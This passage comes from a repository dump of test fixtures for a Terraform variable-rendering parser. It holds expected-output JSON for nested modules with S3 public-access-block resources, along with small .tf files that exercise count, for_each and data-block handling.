\"module\": [\n      {\n        \"inner_s3_module\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            false\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"a\\\"].inner_s3_module\"\n        }\n      },\n      {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 6,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"a\\\"].inner_s3_module2\"\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__end_line__\": 14,\n          \"__start_line__\": 12,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"a\\\"].bucket\"\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__end_line__\": 18,\n          \"__start_line__\": 16,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"a\\\"].bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            false\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"b\\\"].inner_s3_module\"\n        }\n      },\n      {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 6,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"b\\\"].inner_s3_module2\"\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__end_line__\": 14,\n          \"__start_line__\": 12,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"b\\\"].bucket\"\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__end_line__\": 18,\n          \"__start_line__\": 16,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"b\\\"].bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module2[0].inner_s3_module\"\n        }\n      },\n      {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 6,\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module2[0].inner_s3_module2\"\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__end_line__\": 14,\n          \"__start_line__\": 12,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[0].bucket\"\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__end_line__\": 18,\n          \"__start_line__\": 16,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[0].bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module\": {\n          \"__end_line__\": 4,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module2[1].inner_s3_module\"\n        }\n      },\n      {\n        \"inner_s3_module2\": {\n          \"__end_line__\": 9,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 6,\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module2\"\n          ],\n          \"__address__\": \"module.s3_module2[1].inner_s3_module2\"\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__end_line__\": 14,\n          \"__start_line__\": 12,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[1].bucket\"\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__end_line__\": 18,\n          \"__start_line__\": 16,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[1].bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          false\n        ],\n        \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              false\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          false\n        ],\n        \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              false\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          \"\"\n        ],\n        \"__address__\": \"module.s3_module2[0].module.inner_s3_module.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module2[0].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[0].module.inner_s3_module.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          \"\"\n        ],\n        \"__address__\": \"module.s3_module2[1].module.inner_s3_module.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module2[1].module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[1].module.inner_s3_module.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          \"\"\n        ],\n        \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module2.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          \"\"\n        ],\n        \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              \"\"\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module[\\\"b\\\"].module.inner_s3_module2.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          true\n        ],\n        \"__address__\": \"module.s3_module2[0].module.inner_s3_module2.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              true\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module2[0].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[0].module.inner_s3_module2.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"bucket2\": [\n          true\n        ],\n        \"__address__\": \"module.s3_module2[1].module.inner_s3_module2.bucket2\"\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__end_line__\": 11,\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              true\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ],\n            \"__address__\": \"module.s3_module2[1].module.inner_s3_module2.aws_s3_bucket_public_access_block.var_bucket\",\n            \"__provider_address__\": \"\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2[1].module.inner_s3_module2.bucket2\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/parser_dup_nested/variable.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"count_var\": {\n          \"__end_line__\": 4,\n          \"__start_line__\": 2,\n          \"default\": [\n            2\n          ],\n          \"__address__\": \"count_var\"\n        }\n      },\n      {\n        \"foreach_var\": {\n          \"__end_line__\": 8,\n          \"__start_line__\": 6,\n          \"default\": [\n            [\n              \"a\",\n              \"b\"\n            ]\n          ],\n          \"__address__\": \"foreach_var\"\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/bad_ref_fallbacks_expected.json",
    "content": "  {\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"BAD_VAR\": [\"var.var_not_there\"],\n        \"BAD_LOCAL\": [\"local.local_not_there\"],\n        \"BAD_MODULE\": [\"module.module_not_there.nope\"],\n        \"BAD_MODULE2\": [\"module.module_not_there\"],\n        \"BAD_MODULE3\": [\"module.module_not_there.nope.still_not\"],\n        \"QUOTE_IN_QUOTE_446\": [\"${filemd5(\\\"${path.module}/templates/some-file.json\\\")}\"]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_lambda_function\": {\n          \"test_lambda\": {\n            \"source_code_hash\": [\"${filemd5(\\\"${path.module}/templates/some-file.json\\\")}\"],\n            \"__start_line__\": 10,\n            \"__end_line__\": 12,\n            \"__address__\": \"aws_lambda_function.test_lambda\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/colon_expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"colon.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"tags\": {\n          \"default\": [[]],\n          \"type\": [\n            \"${list(object({'key': '${string}', 'value': '${string}', 'propagate_at_launch': '${bool}'}))}\"\n          ],\n          \"__start_line__\": 1,\n          \"__end_line__\": 4,\n          \"__address__\": \"tags\"\n        }\n      }\n    ]\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level1_module/main.tf",
    "content": "module \"level2\" {\n  source   = \"../level2_module\"\n  for_each = var.file_map1_level1\n\n  times_to_duplicate_bucket = var.number_of_required_resources_var\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level1_module/variables.tf",
    "content": "variable \"file_map1_level1\" {\n  type = map(string)\n}\n\nvariable \"number_of_required_resources_var\" {\n  type = number\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level2_module/main.tf",
    "content": "resource \"aws_s3_bucket_object\" \"this_file\" {\n  count = var.times_to_duplicate_bucket\n  bucket   = \"your_bucket_name\"\n  key      = each.key\n  source   = each.value\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/level2_module/variables.tf",
    "content": "variable \"times_to_duplicate_bucket\" {\n  type = number\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/count_examples/module_foreach_module_foreach_resource_count/main.tf",
    "content": "locals {\n  groups = {\n    \"blue\"  = \"blue\"\n    \"green\" = \"green\"\n  }\n  files_map1 = {\n    \"test1.txt\" = \"test1.txt\"\n    \"test2.txt\" = \"test2.txt\"\n  }\n  number_of_required_resources = 2\n}\n\n# Expected resources:\n#    module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\n#    module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\n#    module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\n#    module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\n#    module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\n#    module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\n#    module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\n#    module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\n\nmodule \"level1\" {\n  source   = \"./level1_module\"\n  for_each = local.groups\n\n  file_map1_level1 = local.files_map1\n  number_of_required_resources_var = local.number_of_required_resources\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/count_examples/simple_count/main.tf",
    "content": "\n# Expected resources:\n#    module.simple[0].aws_s3_bucket_object.this_file\n\n# Actual resources:\n#    NONE\nmodule \"simple\" {\n  source   = \"./simple\"\n  count = 1\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/data_simple/main.tf",
    "content": "data \"aws_s3_bucket\" \"data_list\" {\n  for_each = toset(var.test_list.bucket)\n  bucket = each.value\n}\n\ndata \"aws_s3_bucket\" \"data_dict\" {\n  for_each = var.test_dict.bucket\n  bucket = each.value\n}\n\ndata \"aws_s3_bucket\" \"data_count\" {\n  count = var.test_count.bucket\n  bucket = count.index\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/data_simple/variables.tf",
    "content": "variable \"test_list\" {\n  bucket = [\"a\", \"b\"]\n}\n\nvariable \"test_dict\" {\n  bucket = {\n    key1 = \"a\",\n    key2 = \"b\"\n  }\n}\n\nvariable \"test_count\" {\n  bucket = 2\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/data_with_resource/data.tf",
    "content": "data \"aws_s3_bucket\" \"data_dict\" {\n  for_each = var.test_dict.bucket\n  bucket = each.value\n}\n\ndata \"aws_s3_bucket\" \"data_count\" {\n  count = var.test_count.bucket\n  bucket = count.index\n}\n\ndata \"aws_s3_bucket\" \"data\" {\n  bucket = \"a\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/data_with_resource/main.tf",
